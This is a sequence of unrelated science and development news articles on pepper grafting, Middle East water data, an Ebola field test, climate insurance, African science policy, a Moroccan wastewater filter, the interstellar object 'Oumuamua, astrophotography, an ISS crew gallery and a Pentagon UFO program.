Grafting is done by cutting a plant off near the root, shaping its stalk into a wedge and fitting this into a matching groove on the severed stem of another plant. The technique is used for many other vegetables as a means of dealing with stress factors such as extreme climate conditions and toxic soil. Grafting is common in the farming of watermelon, tomato and cucumber. In Spain, almost all watermelon are grown from grafted plants.

Grafting is ideally suited for developing countries, the researchers say, as the technique does not require expensive kit or expertise. They described Capsicum anuum as priceless plant material for the sustainability of pepper farming.

However, there are costs implications to the technique, says James Nienhuis, a plant breeding researcher at the horticulture department of the University of Wisconsin-Madison in the United States. He points out that in Cosa Rica, for example, a conventional seedling costs around $0.20, but a grafted seedling could cost up to $0.75. This is because the grafted plants require extra work, and result in half of each plant being thrown away.

But, the extra cost of the seedling is saved easily by eliminating the need to purchase and apply chemicals to control soil pathogens and also by the dramatic increase in yield, he says. Nienhuis cites the example of a project he worked on in Totonicapan, Guatemala, where a womens cooperative managed to up the yield of their tomato harvest by 50 per cent by grafting plants onto the roots of varieties that are resistant to pathogens in the soil.

The grafting technique is also used to protect plants against pests, which decreases the need for expensive pesticides. In South Asia, Edwin Rajotte, a professor of entomology at Penn State University in the United States, has studied grafting as a means to combat bacterial wilts in eggplant and pepper plants. However, he warns that grafting loses its power over time.

Over time, pests can evolve to overcome root resistance, he explains. Grafting should be a component of an extensive integrated pest management approach.
[DEAD SEA] Data hoarding and inefficient coordination is hampering efforts to solve the increasingly acute problem of access to fresh water in the Middle East, a conference on science for peace has heard.

The Jordan River played a central part in the Arab Israeli conflict as a critical source of water for the region, and water is one of the central issues of the UN-organised World Science Forum, held on the banks of the Dead Sea in Jordan from 7 to 11 November.

The problem is that the yearly amount of drinkable fresh water available to people in the region has dropped to 80 cubic metres per person, way below the water scarcity limit of 1,000 cubic meters per person set by the UN.

A lot of initiatives have been pushing to help countries develop national water energy information systems, El Kharraz

One issue that holds back efforts to safeguard supplies is a lack of sharing of vital data on rainfall and water usage between regions vying for water resources, such as Israel and Palestine or India and Bangladesh.

Sometimes it happens today, in this part of the region, that upstream countries are withholding data and they are using it as a negotiating chip, Andras Szollosi-Nagy, from the National University of Public Service in Hungary, told the conference.

The WSF was hosted by the Jordanian Princess Sumaya bint Hassan, and included presentations from physicist Michio Kaku and a message from astronauts aboard the International Space Station.

Organisations need to develop water information systems, according to Dr Jauad El Kharraz, head of research at MEDRC Water Research in Oman, adding that this is an important part of the solution.

A lot of initiatives have been pushing to help countries develop national water energy information systems so we can have at the level of the decision-maker a common indicator so [as] to assess  if we are on the right track, El Kharraz explained.

He said data sharing needs to be done between countries but also between energy companies, farming groups and water sectors within countries. There is a lack of coordination between different actors at national level.

Another part of the solution to better data sharing rests on the shoulders of civil society and international organisations, according to Marcia Barbosa from the Universidade Federal do Rio Grande do Sul in Brazil. They need to create better networks, she said, to find ways in which different sectors could benefit each other.

This is particularly true between the energy and water sectors, which are inextricably linked with water often an integral part of energy production, and energy needed to supply drinking water to homes.

Maybe the region that is thinking about energy, they have water so they didnt link immediately their renewable energy sources with the idea of using water, Barbosa told the meeting. We have to link the people [who are] thinking about the individual problems.
In the last months of West Africas outbreak of Ebola, as the disease was fading away at the end of a two-year epidemic that took a devastating toll, biochemist Sterghios Moschos was putting the finishing touches on a new diagnostic test he hoped would help spot infections faster.

The assay, named EbolaCheck, was designed to detect the Ebola virus quickly and without sophisticated equipment, making it easy to deploy in the field or at airports.

As it turned out, the test was ready too late to test on the ground during the crisis. But confident it will perform well under the challenging conditions of working in many developing countries, Moschos is looking ahead to how it could help in the next emergency  and beyond Ebola.

The principle of the assay can be applied to other viral diseases, which means that field testing can start soon for things like dengue virus, Zika virus, yellow fever, or West Nile virus  diseases much more common than Ebola, he explains.

The test, which is based on technology invented by biotech company BioGene, has already been adapted to detect these viruses, and a field test is due to begin in January next year.

Our method is mobile, requires a minimal power supply (the machine runs off a car cigarette lighter), needs a blood sample 700 times smaller than other methods, costs 10 times less, and gives a result in as little as 70 minutes, where it used to take up to 8 hours. Sterghios Moschos

Moschos and his team, based at Northumbria University in Newcastle, UK, started working on the diagnostic tool in 2014  in the early stages of the Ebola haemorrhagic fever epidemic in West Africa  with help from a grant from the Research for Health in Humanitarian Crises (R2HC) Programme run by the NGO Elrha, which focuses on supporting research in emergencies.

Over the next two years, the epidemic would sweep across major urban and rural areas in the region, infecting about 28600 people in Guinea, Liberia and Sierra Leone, and resulting in over 11,000 deaths, according to the WHO. It is by far the worst epidemic since the appearance of the virus in 1976.

Ebola can spread quickly through person-to-person contacts, both in the community and in clinics. This makes diagnosis at the point-of-care pivotal in order to isolate infected people and limit transmission.

But picking up the infection is far from straight-forward: early symptoms, such as fever and weakness, are not specific to this infection, and are often seen in patients with other diseases that are more common in the same area  typhoid fever, for example, or malaria.

Whats new?

The science of EbolaCheck isnt new: the test detects viral genetic material in fresh blood using reverse transcription polymerase chain reaction (RT-qPCR). Automated or semi-automated nucleic acid tests are recommended by the WHO for routine diagnosis of Ebola, and rapid tests based on the detection of Ebola virus proteins are also available, but usually less accurate than those detecting genetic material.

So, what makes the new test innovative?

Our method is mobile, requires a minimal power supply (the machine runs off a car cigarette lighter), needs a blood sample 700 times smaller than other methods, costs 10 times less, and gives a result in as little as 70 minutes, where it used to take up to 8 hours, explains Moschos.

The procedure involves withdrawing five microliters of blood from the patients finger using a sheathed lancet and capillary. The blood sample is then dispensed into a reaction chamber (puck) that contains freeze-dried (lyophilised) reagents, and the puck is placed into a portable device for analysis.

The gold standard test is a complex manual procedure that needs expensive equipment, a dedicated laboratory, and highly trained staff to carry it out, adds Moschos. We have shown that a great deal of this complexity can be eliminated using simple but precise temperature control, dyes that work in blood and fairly cheap parts.

Its thanks to those features that the new test can be done by staff with little training, wherever a patient might need it. Apart from the advantage of speed, it cuts the costs of diagnosis by a factor of ten, according to Moschos.

Armand Sprecher, a public health specialist and expert in Ebola management with the medical charity Doctors without Borders (Medecins Sans Frontieres), whose staff were heavily involved in the emergency response in West Africa, points to the risks for health workers using any diagnostic tool, including EbolaCheck.

Overall, the technology is interesting, although some caution with sample handling would still be required, as drawing blood from an Ebola suspect is never zero risk, Sprecher points out. EbolaCheck eliminates a step in the lab testing process, which is the preparation of blood samples, and this limits some of the risk, he explains.

It might reduce the need for field lab support from external experts in some settings, says Sprecher. That being said, diagnostics is never as straight forward as one would hope, and having experienced lab people by our sides helped resolve some odd results we obtained.

I dont see this [test] as revolutionary, he concludes, but maybe useful and have [an] application.

A step forward

As the other available diagnostic tests, EbolaCheck can only detect the virus when it reaches a high-enough concentration in the bloodstream and symptoms, mainly fever, start to appear. This means infections cannot be picked up before this point  and it is this that could potentially help to reduce the spread of the disease in the initial phases of an outbreak.

In other diseases we know that sometimes the body starts to send chemical signals out before symptoms kick off, says Moschos. But we dont know what these signals are for this particular virus.

So detecting the genome of the Ebola virus is still the most reliable approach, Moschos explains, and that always works when someone has symptoms. If a test was available to pick up infections before symptoms appear, it would only serve to quarantine people suspected of exposure separate from those testing positive. Doing this for up to 21 days, which is the incubation time of the virus, would help prevent onward transmission, he says.

Daniel Bausch, Director of the UK Public Health Rapid Support Team that worked with the WHO on the frontline during the West Africa crisis, believes that EbolaCheck is promising for low-resource areas.

But a word of caution before we can declare this technology the solution to all our diagnostic problems: many assays look quite promising in the controlled laboratory environments of Europe or North America, but have challenges performing under the more rigorous high temperature and humidity conditions in the field, says Bausch.

This is, in fact, the next step for Moschos and his team, after having published their findings in Chemical Science in November this year.

In January 2018, [it] will be field tested by BioGene in rural areas in Brazil with over 400 patients to see how it performs in the wild, says Moschos. This is a great way to test potential challenges like humidity and temperature, and the simplicity of the operating procedure.
The problem is that insurance has proved ill-suited to poor communities.

"I am not against the idea of insurance in principle," said Harjeet Singh, global lead on climate change for Action Aid, in an interview with SciDev.Net. "But so far, it has not worked for the poor.

Singh points to affordability of the premiums, accessibility to the right information and ability to claim compensation as three major hurdles for vulnerable people. The main objective of private companies is to make money, so they will naturally try to dispute your claim.

He also pointed out how the insurance model cannot work for every type of disaster  explaining that when a house is predicted to end up underwater due to sea level rise, for example, the negative impact is certain and no company would provide insurance.

Private companies need clear return prospects and measurable outcomes, while improved urban planning, capacity building and training are tasks too complex and fraught with uncertainties.

"When it comes to adaptation, only public finance can work, said Singh. If you talk about activities such as early-warning systems, what private company is going to give you money away just for that?"
Thierry Zomahoun is the president and chief executive officer of the African Institute for Mathematical Sciences (AIMS), and founder and chairman of the Next Einstein Forum (NEF), which helps foster collaboration among young African scientists.

In an effort to raise Africas profile in how science and mathematics can address development challenges, Zomahoun is promoting NEFs scientific programme as a platform to connect science, society and policy.

He believes Africa is in a good position to lead the quantum tech revolution  which relies on computing that is based on quantum mechanics to advance data processing and technological breakthroughs  by harnessing its scientific talent to define solutions that address problems peculiar to Africa and the developing world.

Zomahoun talked with SciDev.Net during the 10th World Conference of Science Journalists (October 26-30) in San Francisco, United States.

This interview has been edited for clarity and brevity.



What role can Africa play in the quantum revolution?

I believe that Africa will play a big role. We are working on it and we want to make it possible for Africa to lead this technological revolution. If you look back, we missed the analogue and digital revolution. We are still trying to catch up with the digital revolution.

We want to lead in the quantum revolution because we have the talent, the young Africans  when we take populations from other parts of the world where most people are ageing, this is a disadvantage. [This is] the second thing that made me say Africa will lead the quantum revolution.

The third reason that makes the African continent a good candidate to lead the quantum revolution has to do with political will. Our leaders are determined to provide the legal and policy framework we need to make it possible for researchers worldwide to come to Africa.

How will the quantum revolution benefit Africa, what difference will it make?

The first area that will benefit African researchers is collaboration for research. When Africa starts investing in quantum research and technology development, we will be drawing researchers from Central America to Europe and Asia. This can help build skills, strengthen research infrastructure and add value to the efforts of young African scientists.

Another benefit will [be] the increase of overall data analytical capacity building [in the region]. We have enormous data on the continent, generated since the 1960s. They have not been used yet. Positioning Africa to lead the quantum revolution will imply you have trained people in data analysis and processing data in real time.

The last area in which the continent can benefit is on the policy level. [The] quantum revolution will require another set of regulations and policies. For instance, the banking sector is talking about the confidentiality of customer and client banking data  how do you continue to keep things confidential in the age of the quantum revolution and artificial intelligence?

This change would take three generations, or within 45 years. The benefits can be measured by the small industries that would benefit from it. If you look at what we have achieved in industries we have created, thanks to the digital revolution, you can tell [how quantum revolution will benefit us].

What are the challenges in terms of using the results of scientific breakthroughs from developing regions such as Africa [considering that 1% of global research comes from Africa]

You hear the mention that Africas contribution to global research is less than 1%, but let us not forget there is a huge hidden reality in that 1%. Twenty years ago, nobody was talking about research coming out from Africa. We were talking about scientists from Africa who are living and doing research abroad.

If you take the past 12-15 years, Africas research has more than tripledthis is something that people are not talking about. Yes, at 1% this [level of contribution] raises concerns. But when you realise that no other region has even tripled its research output in just one decade, it tells you a couple of things  that first, we are not hiding the challenge we are facing; and second, if you see the quality in that 1%, there has been a paradigm shift. If Africa can maintain and quadruple its research output every decade, you can imagine in three to four or five decades from now where we are headed.
Naledi Pandor has served as South Africas science and technology minister since 2009. During her term, she chose to focus her efforts on two fronts: on being a leading partner in the Square Kilometer Array (SKA), a EUR11.6 million project involving 25 countries; and on fighting HIV/AIDS, which affects an estimated 12 per cent of South Africas population who are HIV-positive.

Pandor spoke in front of more than 1400 science journalists at the 10th World Conference of Science Journalism, held this month (October 26-30) in San Francisco, United States. She gives the impression of a leader who means what she says, and her voice did not falter as she described efforts to make science a leading force in her country and across Africa.

SKA aims to build a network of over 3.000 telescopes across Africa and Australia to form the biggest radio telescope in the world, say says, adding that there are already 500 research groups from 45 countries that have booked to use the new precursor or prototype telescopes once they are completed.

She is proud of it. But why focus on this, when South Africa has more pressing problems?

That was the challenge we had initially, she says. But as the project has taken off, what we have as part of it is a human capital development program. There is a strong scholarship initiative, and then we link that with other African countries.

SciDev.Net caught up with Pandor in San Francisco to find out more about the benefits from SKA, and her other priorities for science in South Africa.

How have young people benefited from SKA?

Schools that are close to the site where the telescope will be built have benefited from science laboratories being provided for them, and from training for science and math teachers. So young people from those schools have been offered scholarships to study engineering and science at the university. We have included the community very much [in this project].

Are there any other sectors that have benefited?

Certainly new infrastructure [is one]. There are roads [that have been] built in remote sites because the radio telescope has to be in an area that is free of radio interference. New energy provision [is another]. We have had to provide electricity in the areas, but in addition we decided to use renewable energy, so we provide to the local community access to a renewable resource. It has been quite a challenge.

Is there anything that has changed as a result of SKA in the way science is done in South Africa?

The project alters the dynamic between Africa and scientists in the rest of the world  because suddenly you are coming to Africa to do high-level research, you are not having scientists leaving Africa to do research elsewhere. [It is] a totally different relationship between science and the African continent.

How have you addressed gender issues in science?

We have a number of incentives that seek to fund women in research. What we have done is issue a policy directive to grant-making institutions that at least 60 per cent of the grant funding must go to women; currently it is less than 40 per cent.

I discovered that we are good at making policy, but we dont monitor [the results] sufficiently.

We had a huge programme to establish research Chairs [in public universities]; and on looking at the numbers, I discovered that less than 23 per cent of the appointees were female. So we had to intervene; when we had funding for more Chairs, all were advertised as available only to women scientists. We got more applicants than the Chairs available  which just signalled that if we dont have a gender lens, we will not achieve gender equity.

Its important that you insert these objectives into whatever policies you have, otherwise you will be doing a lot of things but you will not be achieving change. We are very good at the rhetoric, we all say the right things, but translating the rhetoric into real action is often the problem.

This Q&A was edited for brevity and clarity.
A home-made filter system using layers of soil and gravel cleans domestic waste water well enough to make it suitable for irrigation, a research team in Morocco has found.

The filter prototype, tested in Al Haouz, a rural district about 40 kilometres from Marrakech, removed a large amount of waste such as solid particles, organic pollution, nitrogen and fertiliser residue. The system was also successful at killing off coliform bacteria and other pathogens in the water including faecal matter, E.coli and streptococci bacteria.

The cost of this technology is very low compared with systems like lagoon filters, wetlands and sand filters Laila Mandi

The filter system consists of a two-stage process that can be easily assembled with local material in water barrels. The researchers created filter bricks from sandy soil, charcoal, sawdust and iron scraps, and packed these into the barrels with gravel. While running through the barrel, the water is filtered alternatively by the bricks and the gravel.

The experiments results were published on 13 October in the International Journal of Hygiene and Environmental Health. Laila Mandi, a researcher at Moroccos Cadi Ayyad University and lead author of the paper, said the soil bricks on their own were good enough to filter organic waste and nutrients from the water. But when combined with the gravel, the two-stage system became effective enough to tackle pathogens.

She said the system could provide cheap and low-tech water filtration to rural, arid areas. The cost of this technology is very low compared with systems like lagoon filters, wetlands and sand filters, Mandi said.

It also has benefits such as simple maintenance, no frequent clogging and no energy requirements, she added. The expected lifetime of each filter system, if correctly maintained, is about 20 years.



The installation of water barrels in Talat Merghen village. Copyright: Laila Mandi

The method could help recycle water in arid regions, such as the North African and Asian deserts, where water preservation is crucial for farmers and expensive, industrial water purification is not available.

The researchers worked with the people of Talat Merghen village to test the prototypes. They collected domestic waste water from 72 people in eight households. The water was stored in a holding tank, from where it was first fed into a settling tank  to separate sediment and silt  and then into the two-stage filter system.

Once optimised for flow load, the system removed around 90 per cent of pollutants, including around 95 per cent of nitrogen, a fertiliser residue. The filtered water was not safe to drink, but was usable for agricultural irrigation and household chores. It could be made potable with additional treatment, such as chlorination or UV light, Mandi said.

However, the system would struggle with dangerous chemical pollution, like heavy metals and the more resistant waterborne pathogens such as cholera and salmonella, says Helmy Zanfaly, a researcher at Egypts National Research Centre in Cairo. There is a need for an added disinfection process with chlorine, for example, which adds some disadvantage to the technology, he says.

Zanfaly also expressed concern about algae growth in the filter, especially in high temperatures. The filter media should be backwashed or changed after some time, because any biofilm that forms will cause clogging, he said.

In their paper, the researchers admit that clogging is a problem but say the size and surface of the gravel into which the filter bricks are laid could reduce the growth of algae.

Leah Boutilier, a researcher at Dalhousie University in Halifax, Canada, said the prototype might also need further refining to ensure the soil used for the bricks allows enough water to pass. This, she said, is important in order to replicate the system elsewhere.

"Soil hydraulic conductivity can be highly variable and this will impact the ability for the filter to accept and filter sewage for the long-term," she said.
[NAIROBI] A two-year pilot programme to boost excellence and leadership of African health researchers has been launched.



According to experts, Africa is in need of research and leadership development for emerging health researchers to benefit patients, policymakers and practitioners.



The programme, which was announced last month (14 November), is to be implemented by the Gambia- and UK-based Africa Research Excellence Fund (AREF) with funding from the Robert Bosch Stiftung, Germany.

In this programme the researchers will receive the support essential to acquire the knowledge and skills for productive, impactful careers and leadership roles. Johanna Rapp, Robert Bosch Stiftung



Johanna Rapp, senior project manager, Science and Research, Robert Bosch Stiftung, tells SciDev.Net that science and research systems demand complex capabilities, particularly of early- and mid-career researchers at doctoral and postdoctoral levels.



According to Rapp, excellent science and research needs collaboration, exchange and stronger pan-African networks.



The programme, Rapp explains, fosters leadership skills of institutions and individual researchers. The programme will select 20 postdoctoral fellows from four to six African institutions.



In this programme the researchers will receive the support essential to acquire the knowledge and skills for productive, impactful careers and leadership roles, Rapp tells SciDev.Net.



Katrin Rehak, head of the Science and Research Department of the Robert Bosch Stiftung, says that postdoctoral researchers tend to drop out of science and research if they are not successfully applying for grants and winning support, attention and appreciation for their research interests.



Providing scholarships for postdoctoral research is one necessity. Another is to train them in becoming good managers, good networkers and good leaders, she explains. These skills are pivotal in order to make a career in todays complex science and research systems.



The Excell programme may have two long-term effects: strategic inclusion of and support for participating institutions to change the research environments in a way that could also benefit postdoctoral researchers will benefit from.

We hope to grow confident, well-connected and responsible researchers who will successfully apply for research funds and, by that sustain their research careers self-responsibly, Rehak says.

This will also increase the integration and visibility of excellent African scientists and researchers globally.

According to Peter Dukes, deputy director, AREF, African health researchers typically face uncertain careers and weak engagement with research users.

To improve health and save lives, Africa needs to build cadres of experienced, confident and well-resourced postdoctoral researchers who have the potential for leadership, says Dukes.

But Banjamin Gyampoh, a research manager and scientist at the Kenya-headquartered African Academy of Sciences (AAS), says the initiative is similar to what the Developing Excellence in Leadership, Training and Science (DELTAS) programme of the AAS is doing. I encourage synergy between the two programmes, he says.

Gyampoh adds that early-career, African researchers face barriers such as inadequate long-term funding for sustained research, lack of mentorship programmes and blurred career pathways.

What is needed are long-term interventions that can make a difference. A two-year fellowship is good but must be one of many with subsequent interventions including enhancing the environment the researchers work in and funds to continue conducting research, he notes.

He tells SciDev.Net that the barriers are due to African governments inaction: There is very little funding devoted to research and the little that goes into research is usually targeted at short-term ad-hoc fixes that is unable to gather the needed momentum to make lasting impact.

Africa continues to benefit from external development partners. But institutions such as the AAS leading and driving scientific development need to set the continents agenda for research development, Gyampo adds.

Africa must decide on what they want to do and seek relevant partnerships to make long-term interventions, says Gyampo. These should be Africa-developed, Africa-led, Africa-managed and Africa-delivered. Partnerships should be enablers and not the partners to decide what should be done.



This piece was produced by SciDev.Nets Sub-Saharan Africa English desk.
Back home at Southold, first Black director aims to broaden reach

Sarah Taylor performed in "The Nutcracker" as a girl and now as a "party parent." She's trying to get more kids exposed to ballet.
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The interstellar object 'Oumuamua is marked with a blue circle near the center of this picture, which was created using multiple images from the Gemini South Telescope and the Very Large Telesceope.

Our solar system's first-known visitor from another star, the recently discovered object called 'Oumuamua, could be a bonanza for researchers. With only a brief window of time to observe the cigar-shaped wanderer before it zooms beyond the reach of our best telescopes, astronomers have crammed in observations with the hopes of learning more about this interstellar interloper. Not only is the fast-moving object intriguing in its own right; it may also provide insights about how planetary systems evolve.

'Oumuamua caught the eyes of astronomers on October 19 this year. Calculations revealed the space rock was traveling at 26 kilometers per second relative to the sun, a rapid clip that along with its extremely elongated orbital trajectory suggested it came from outside the solar system. Telescopes swiftly targeted the object, with most researchers expecting to see a cometary tail trailing from an icy visitor as it approached the sun. But to their surprise, 'Oumuamua showed none. Instead, it looked more like an asteroid. "It does not a resemble a cometit had no tail whatsoever," says Karen Meech, who studies comets at the University of Hawai'i at Mnoa. Meech used NASA's Hubble Space Telescope and other observatories to examine the mysteriously inert space tourist.

Asteroid or cometwhy does it matter? The answer ties into our understanding of how planetary systems grow over time in their natal "protoplanetary" disks around young stars. Newborn giant planets can jostle one another, using their gravity to push each other around. They also lord their size over their smaller neighboring worldsand especially over the kilometer-scale objects called "planetesimals" left behind as debris from the planet-forming process. When a giant planet throws its weight around, more than half of these planetesimals can wind up hurled from the system. Because most of a typical protoplanetary disk is icyin 2016 Meech used solar system observations to estimate there were as many as 10,000 icy objects for every rocky objecticy objects should dominate the ejecta.

Location also makes a difference in what gets thrown out. Most gas giants lie on the other side of the "snow line," a demarcation in a protoplanetary disk where its composition shifts from mostly rock to mostly ice. Objects on the star side are baked dry by starlight and thus predominantly rocky whereas objects on the darker outer side are colder and tend to retain more ice. In our solar system the snow line lies between the orbits of Mars and Jupiter, and astronomers believe that distance is roughly where it started out for other sunlike stars. As outlying gas giants shift their orbits, they become more likely to interact with nearby ices than the more distant rocky material closer-in to the star, adding fuel to the idea that most of the interstellar visitors we observe should be icyincluding 'Oumuamua.

"The population of planetesimals floating in space should be dominated by comets, not by asteroids," says Sean Raymond, an astronomer at the Laboratory of Astrophysics of Bordeaux in France who models the early solar system. In a recent paper Raymond argues the extrasolar visitor is more like a defunct comet than an asteroid, based on how the exoplanets we've observed so far are laid out. "It's kind of weird that this object 'Oumuamua doesn't have any signs of activity."

'Oumuamua's oddball spin could be related to its origins as well. According to new research posted on the preprint server arXiv.org, the visitor is tumbling willy-nilly rather than smoothly rotating on its axis. The researchers, who declined to comment due to embargo concerns, state in their paper "1I/'Oumuamua was likely set tumbling within its parent planetary system, and will remain tumbling well after it has left ours. 'Oumuamua's motion, they speculate, could be due to a long-ago collision with another body or the extreme tidal torqueing it may have experienced during its ejection from its parent planetary system. Alternatively, its spin could come from the jetlike outgassing of icy material vaporizing in sunlightthe process that creates a cometary tail.

But, again, the object did not appear to sprout a tail when it closely approached our sun. If indeed 'Oumuamua is an icy body, how did it avoid growing a cometary tail? David Jewitt, an astronomer at the University of California, Los Angles, suspects any ice might be buried under a layer of material damaged by the charged particles known as cosmic rays that bombarded 'Oumuamua while it traveled through space. "The prolonged exposure will toast the surface," forming a protective crust, he says.

A crust of only half a meter could be enough to shield the ice, Jewitt adds. He calculated how heat could have moved through the object, using solar system analogues because its surface composition is unknown, and found it would not make it very far. "You'd only have to go a meter or two into the surface," he says, "to reach the 'interstellar temperature,'"which is only a few degrees above absolute zero.

Not everyone thinks 'Oumuamua could be a crusty comet. "I would not expect that volatiles would be sealed up in any particular way," Meech notes. David Trilling, who studies asteroids at Northern Arizona University, says that although it is possible to strongly irradiate primitive material in the solar system, "it's not obvious that you can get that irradiated goop on an interstellar object."

Unfortunately, we are unlikely to ever know what materials comprise 'Oumuamua because it is moving far too fast on its way out of the solar system for us to have a realistic chance of catching up to it with even our speediest spacecraft. But it left astronomers excited about the next one; they anticipate spotting about one interstellar visitor a year in the near future. If those objects all wind up being rocky, that could mean bad news for our understanding of planet formation. "If the first 10 [objects] were all rocky, then it would mean we're really off on something important," Raymond says. Most likely, it would mean the rocky material makes up a far larger portion of the natal disks than expected by the models. "We'd have to be way off on where planetesimals form," he says.

In a separate paper U.C. Santa Cruz astrophysicist Greg Laughlin estimates that an abundance of rocky interstellar voyagers would require about 200 Earth-masses of debris to be ejected from every planet-hosting star, rather than the 10 Earth-masses current models call for. "It just doesn't really work," he says. "It's just a little too much to ask for."

If 'Oumuamua is icy, Laughlin thinks it has important implications for Neptune-size worlds in the outer reaches of other planetary systems, which have been a challenge to observe. Because distant Jupiter-size worlds are only found around roughly one out of every 10 stars, he thinks the ejection of 'Oumuamua-like objects might need a boost from an as-yet-undiscovered population of icy Neptune-like worlds in Jupiter-free systems.

For now, scientists are waiting for the more tourists from other solar systems to visithopefully streaming long tails behind them. "It's not hopeless," Jewitt says. "We just have to wait for the next 10 or so to be discovered. If none look like a comet, that would be interesting. It would tell us a little more than just seeing one object."

This article was first published at ScientificAmerican.com.  ScientificAmerican.com. All rights reserved.

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Miguel Claro is a Lisbon, Portugal-based professional photographer, author and science communicator who creates spectacular images of the night sky. As a European Southern Observatory photo ambassador, a member of The World At Night and the official astrophotographer of the Dark Sky Alqueva Reserve, he specializes in astronomical "skyscapes" that connect Earth and the night sky. Join him here as he takes us through his photograph "Rho Ophiuchi: A Colorful Cloud in Space."

Featuring the bright, red supergiant star Antares, the Rho Ophiuchi cloud complex is one of the most vibrant and colorful nebulas in space and the closest star-forming region to the solar system.

Located approximately 460 light-years away from Earth, the interstellar clouds of gas and dust that make up Rho Ophiuchi contain emission nebulas that are rich with red, glowing hydrogen gas and blue reflection nebulas that reflect starlight from their surroundings. The dark-brown regions in the cloud complex consist of interstellar dust grains that prevent any light from passing through. [Rho Ophiuchi: A Colorful Cosmic Cloud in Photos]

From the lower left corner of this image, a dust lane known as the "Dark River" extends about 100 light-years from the dark Pipe Nebula toward the colorful Rho Ophiuchi cloud complex, where it appears to be connected to Antares.

The distant globular star cluster Messier 4, or M4, is visible to the right of Antares, which is one of the brighter stars in the night sky. However, M4 lies far beyond the colorful cloud complex, at a distance of some 7,000 light-years from Earth.

To capture this image of Rho Ophiuchi, I used a Nikon D810a DSLR astrophotography camera with a focal lens of 105mm with an aperture set to f/3.5, and a Skywatcher HEQ5 Pro mount. The camera was programmed to shoot with an ISO setting of 800 and an exposure time of 105 seconds. The final composite combines 42 frames with a combined exposure time of 74 minutes. Image processing was completed with PixInsight 1.8 and Adobe Photoshop CC.

The image was taken from the Cumeada Observatory at the Dark Sky Alqueva Reserve in Reguengos de Monsaraz, Portugal.

To see more of Claro's amazing astrophotography, visit his website: miguelclaro.com. Follow us @Spacedotcom, Facebook and Google+. Original article on Space.com.
The Expedition 54 Crewmembers

Robert Markowitz/NASA

Expedition 54 to the International Space Station is a six-person mission that began in December 2017 and will continue through March 2018, when Expedition 55 begins. On May 8, 2017, the Expedition 54 crew posed for a group portrait. From left to right: NASA astronauts Joe Acaba and Mark Vande Hei, Russian cosmonauts Alexander Misurkin and Anton Shkaplerov, NASA astronaut Scott Tingle and Japanese taikonaut Norishige Kanai.

'A Band of Brothers'

The six members of Expedition 54 pose for a fun group photo at the International Space Station.

Expedition 54/55 Prime Crewmembers

NASA

The prime crew for Expedition 54/55 consists of Norishige Kanai of the Japan Aerospace Exploration Agency (left), Anton Shkaplerov of the Russian space agency Roscosmos (center) and Scott Tingle of NASA (right). They launched to the ISS on Dec. 17, 2017 in the Soyuz MS-07 spacecraft and arrived two days later, just in time to spend the holidays in space.

Expedition 53/54 Prime Crewmembers

NASA

The first half of the Expedition 54 crew arrived at the space station on Sept. 12, 2017 aboard the Soyuz MS-06 spacecraft. The Expedition 53/54 prime crewmembers (from left): NASA astronaut Joe Acaba, Roscosmos cosmonaut Alexander Misurkin and NASA astronaut Mark Vande Hei.

Welcome to Space!

NASA TV

A Russian Soyuz spacecraft carrying Russian cosmonaut Anton Shkaplerov, NASA astronaut Scott Tingle and Norishige Kanai of the Japan Aerospace Exploration Agency arrives at the International Space Station on Dec. 19, 2017, just in time for the holidays.

Procedural Tests

Courtesy of Roscosmos

In preparation for the Dec. 17 launch and a five-month mission on the International Space Station, NASA's Scott Tingle and JAXA's Norishige Kanai sit in the Soyuz MS-07 at the Integration Facility at the Baikonur Cosmodrome.

Expedition 54 Phones Home

NASA TV

The International Space Station's full Expedition 54 crew speaks to family members and mission officials from the Zvezda control module after the arrival of NASA astronaut Scott Tingle (bottom left), cosmonaut Anton Shkaplerov (bottom center) and Japanese astronaut Norishige Kanai (bottom right) on Dec. 19, 2017. Also pictured are: NASA astronauts Joe Acaba (top left), cosmonaut Alexander Misurkin (top center) and NASA astronaut Mark Vande Hei.

Ready for the Trip

Andrey Shelepin/Gagarin Cosmonaut Training Center

Outside the Gagarin Cosmonaut Training Center, the backup and prime crewmembers for Expedition 54/55 pose, ready for the journey to the Baikonur Cosmodrome launch site. From left to right the backup crew  Alexander Gerst of the European Space Agency, Jeanette Epps of NASA and Sergey Prokopyev of the Russian Federal Space Agency (Roscosmos)  stand with prime crewmembers  Norishige Kanai of the Japan Aerospace Agency (JAXA), Anton Shkaplerov of Roscosmos and Scott Tingle of NASA.

Getting Ready

Courtesy of Roscosmos

NASA astronaut Scott Tingle climbs into the Soyuz MS-07 craft during a fit check dress rehearsal. JAXA's Norishige Kanai watches from the background.

The Way Up

Andrey Shelepin/Gagarin Cosmonaut Training Center

Expedition 54/55 prime and backup crewmembers pose for photos with the Soyuz rocket's first stage. The rocket would launch them to the ISS on Dec. 17, 2017.

Roll on Out

Joel Kowsky/NASA

On Dec. 15, 2017, the Soyuz rocket, aboard a train, is rolled out to the launch pad at Baikonur in preparation for the Dec. 17, 2017 launch of the Soyuz MS-07 spacecraft that would carry the Expedition 54/55 crewmembers into space.
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The U.S. Department of Defense had a secret program to investigate reports of unidentified flying objects, and former Navy pilots in the program say they had a stunning encounter with a UFO in 2004.

The New York Timestells of the mission of Cmdr. David Fravor and Lt. Cmdr. Jim Slaight, who were in training over the Pacific Ocean off the coast of San Diego at the time. They got a strange call from a radio operator. The military had been tracking strange aircraft in the region for about two weeks, the operator said. Sometimes, these flying objects made sudden maneuvers, dove tens of thousands of feet or even hovered, according to the reports.

Asked to investigate, Fravor and Slaight eventually spotted one. About 40 feet (12 meters) long, it was hovering 50 feet (15 m) above the ocean, the Times report says. (Fravor added that the object appeared to be causing a sort of boiling or bubbles in the ocean, as the rest of the water looked calm.) [10 Alien Encounters Debunked]

Fravor descended, the object ascended to meet him and then it veered suddenly. "It accelerated like nothing I've ever seen, he said an interview with the Times, adding that he was "pretty weirded out." A few minutes later, the object disappeared, he said.

Fravor returned to his carrier ship, where people mocked him for what he saw, he told the Times. His superiors didn't look into the matter, and Fravor moved on to other things in his career, such as serving in the Persian Gulf as air support during the Iraq war.

Fravor's account includes a video  one of several recorded as a part of the program. The video shows a small object skirting from side to side and circling in view of the camera. The Times added that observers also underwent tests after their "encounters," to see how the experience had affected them.

"I can tell you, I think it was not from this world," Fravor added in a separate interview with ABC News. "I'm not crazy, haven't been drinking. It was  after 18 years of flying, I've seen pretty much about everything that I can see in that realm, and this was nothing close."

The news comes amid news that the U.S. government has been searching for UFOs, in secret, since at least 2007. While the Department of Defense says the program was shut down in 2012 due to a lack of funding, the Times further reported that this program is still active.

